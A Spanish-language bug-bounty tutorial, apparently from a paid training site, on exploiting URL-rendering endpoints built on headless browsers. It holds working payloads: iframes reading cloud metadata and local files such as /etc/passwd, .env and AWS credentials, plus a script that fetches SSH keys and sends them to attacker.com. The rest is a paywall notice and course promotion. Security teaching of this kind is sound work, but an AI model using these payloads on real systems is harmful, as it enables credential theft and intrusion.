Nivel AvanzadoPremium

Headless browsers — SSRF y RCE en endpoints que renderizan URLs

Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.

Gorka El Bochi11 de mayo de 202614 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

Cualquier endpoint que acepte una URL y devuelva un screenshot, PDF o preview está corriendo un browser headless detrás. Esos browsers son SSRF goldmine: leen file://, alcanzan cloud metadata (169.254.169.254), exponen Chrome DevTools Protocol en localhost:9222, y con --no-sandbox cualquier XSS escala a RCE. wkhtmltopdf sigue exploitable en 2026 vía CVE-2025-X. Si ves features tipo "share preview", "export to PDF", "social card generator" → asume headless browser y ataca.


1. Cómo detectar un headless browser detrás

Endpoint featureTecnología típica
"Generate PDF from URL"wkhtmltopdf, Puppeteer + chromium, Playwright
"Take screenshot"Puppeteer, Playwright, Selenium
"Preview link" (sharing cards)Puppeteer + ogp-parser
"Email rich preview"Puppeteer headless
"OG image generator"Satori, Puppeteer, Playwright
"Crawler / SEO check"Puppeteer + custom

Fingerprint indirecto

bash
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
  -d '{"url": "https://example.com"}' \
  -H "Content-Type: application/json"
# real    0m4.523s ← típico de headless render

# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0

2. Vectores SSRF clásicos

2.1 Cloud metadata (AWS / GCP / Azure)

html
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

Apuntas el render a https://attacker.com/exploit.html. El browser carga el iframe → metadata response queda visible en el screenshot/PDF resultante.

Variantes por cloud:

CloudURL
AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2Requiere PUT con token, más raro pero posible vía fetch()
GCPhttp://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Alibabahttp://100.100.100.200/latest/meta-data/

2.2 file:// — local filesystem read

Si el browser no tiene flag --disable-features=NetworkService correctamente:

html
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>

Directory listing trick:

html
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>

2.3 Firefox file:// same-origin bypass

Playwright + Firefox setea security.fileuri.strict_origin_policy=false. Eso permite que un documento file:// haga fetch() a otros file://:

html
<script>
async function leak() {
  const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
  const data = {};
  for (const f of files) {
    try {
      data[f] = await fetch(`file://${f}`).then(r => r.text());
    } catch (e) {}
  }
  navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Headless Browsers Ssrf

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.